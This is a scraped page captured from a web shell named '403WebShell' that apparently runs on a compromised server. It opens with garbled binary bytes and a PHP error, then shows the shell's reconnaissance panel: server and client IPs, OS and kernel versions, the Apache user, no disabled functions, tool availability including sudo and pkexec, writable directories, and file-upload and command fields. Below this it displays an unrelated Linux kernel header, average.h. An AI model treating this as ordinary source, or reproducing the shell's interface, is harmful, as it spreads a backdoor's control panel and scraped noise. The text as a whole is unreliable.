h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/kernels/3.10.0-1160.76.1.el7.x86_64/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/src/kernels/3.10.0-1160.76.1.el7.x86_64/include/linux/average.h
#ifndef _LINUX_AVERAGE_H
#define _LINUX_AVERAGE_H

/* Exponentially weighted moving average (EWMA) */

/* For more documentation see lib/average.c */

struct ewma {
	unsigned long internal;
	unsigned long factor;
	unsigned long weight;
};

extern void ewma_init(struct ewma *avg, unsigned long factor,
		      unsigned long weight);

extern struct ewma *ewma_add(struct ewma *avg, unsigned long val);

/**
 * ewma_read() - Get average value
 * @avg: Average structure
 *
 * Returns the average value held in @avg.
 */
static inline unsigned long ewma_read(const struct ewma *avg)
{
	return avg->internal >> avg->factor;
}

#define DECLARE_EWMA(name, _factor, _weight)				\
	struct ewma_##name {						\
		unsigned long internal;					\
	};								\
	static inline void ewma_##name##_init(struct ewma_##name *e)	\
	{								\
		BUILD_BUG_ON(!__builtin_constant_p(_factor));		\
		BUILD_BUG_ON(!__builtin_constant_p(_weight));		\
		BUILD_BUG_ON_NOT_POWER_OF_2(_factor);			\
		BUILD_BUG_ON_NOT_POWER_OF_2(_weight);			\
		e->internal = 0;					\
	}								\
	static inline unsigned long					\
	ewma_##name##_read(struct ewma_##name *e)			\
	{								\
		BUILD_BUG_ON(!__builtin_constant_p(_factor));		\
		BUILD_BUG_ON(!__builtin_constant_p(_weight));		\
		BUILD_BUG_ON_NOT_POWER_OF_2(_factor);			\
		BUILD_BUG_ON_NOT_POWER_OF_2(_weight);			\
		return e->internal >> ilog2(_factor);			\
	}								\
	static inline void ewma_##name##_add(struct ewma_##name *e,	\
					     unsigned long val)		\
	{								\
		unsigned long internal = ACCESS_ONCE(e->internal);	\
		unsigned long weight = ilog2(_weight);			\
		unsigned long factor = ilog2(_factor);			\
									\
		BUILD_BUG_ON(!__builtin_constant_p(_factor));		\
		BUILD_BUG_ON(!__builtin_constant_p(_weight));		\
		BUILD_BUG_ON_NOT_POWER_OF_2(_factor);			\
		BUILD_BUG_ON_NOT_POWER_OF_2(_weight);			\
									\
		ACCESS_ONCE(e->internal) = internal ?			\
			(((internal << weight) - internal) +		\
				(val << factor)) >> weight :		\
			(val << factor);				\
	}

#endif /* _LINUX_AVERAGE_H */

Youez - 2016 - github.com/yon3zu
LinuXploit